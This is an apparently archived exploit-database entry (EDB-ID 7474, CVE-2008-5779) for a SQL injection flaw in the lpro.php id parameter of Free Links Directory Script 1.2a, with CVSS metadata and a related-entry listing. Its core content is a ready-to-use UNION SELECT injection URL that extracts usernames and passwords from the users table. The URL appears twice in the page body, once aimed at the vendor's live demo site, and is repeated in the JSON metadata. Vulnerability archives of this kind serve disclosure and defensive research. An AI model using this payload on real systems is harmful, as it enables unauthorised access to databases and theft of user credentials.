Search...

FLDS 1.2a lpro.php id Remote SQL Injection Vulnerability

2008-12-15T00:00:00

ID EDB-ID:7474
Type exploitdb
Reporter nuclear
Modified 2008-12-15T00:00:00

Description

FLDS 1.2a (lpro.php id) Remote SQL Injection Vulnerability. CVE-2008-5779. Webapps exploit for php platform

                                        
                                            #Free Links Directory Script (id) SQL Injection Vulnerability


#Author: nuclear


#site:
http://flds-script.com


#vuln:
http://localhost/[path]/lpro.php?id=-1 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from users


#demo:
http://flds-script.com/demo/lpro.php?id=-1%20UNION%20SELECT%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11%20from%20users

#notes:
Script is full of bugs like this, too bored to catch em all !


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2008-12-15]

JSON Vulners Source

Initial Source

{"hash": "e5e10e1d25ac459a8b78639f1ec77fac4fdcbdd89c8aa708e837646952ff6545", "id": "EDB-ID:7474", "lastseen": "2016-02-01T03:19:00", "enchantments": {"vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/7474/", "description": "FLDS 1.2a (lpro.php id) Remote SQL Injection Vulnerability. CVE-2008-5779. Webapps exploit for php platform", "title": "FLDS 1.2a lpro.php id Remote SQL Injection Vulnerability", "sourceData": "#Free Links Directory Script (id) SQL Injection Vulnerability\n\n\n#Author: nuclear\n\n\n#site:\nhttp://flds-script.com\n\n\n#vuln:\nhttp://localhost/[path]/lpro.php?id=-1 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from users\n\n\n#demo:\nhttp://flds-script.com/demo/lpro.php?id=-1%20UNION%20SELECT%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11%20from%20users\n\n#notes:\nScript is full of bugs like this, too bored to catch em all !\n\n\n#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar\n\n# milw0rm.com [2008-12-15]\n", "objectVersion": "1.0", "cvelist": ["CVE-2008-5779"], "published": "2008-12-15T00:00:00", "osvdbidlist": ["50723"], "references": [], "reporter": "nuclear", "modified": "2008-12-15T00:00:00", "href": "https://www.exploit-db.com/exploits/7474/", "viewCount": 1}

{"result": {"cve": [{"id": "CVE-2008-5779", "type": "cve", "title": "CVE-2008-5779", "description": "SQL injection vulnerability in lpro.php in Free Links Directory Script (FLDS) 1.2a allows remote attackers to execute arbitrary SQL commands via the id parameter.", "published": "2008-12-30T15:30:01", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5779", "cvelist": ["CVE-2008-5779"], "lastseen": "2017-09-29T14:26:16"}], "exploitdb": [{"id": "EDB-ID:7453", "type": "exploitdb", "title": "FLDS 1.2a redir.php id Remote SQL Injection Vulnerability", "description": "FLDS 1.2a (redir.php id) Remote SQL Injection Vulnerability. CVE-2008-5778,CVE-2008-5779,CVE-2008-5928. Webapps exploit for php platform", "published": "2008-12-14T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/7453/", "cvelist": ["CVE-2008-5779", "CVE-2008-5928", "CVE-2008-5778"], "lastseen": "2016-02-01T02:15:31"}]}}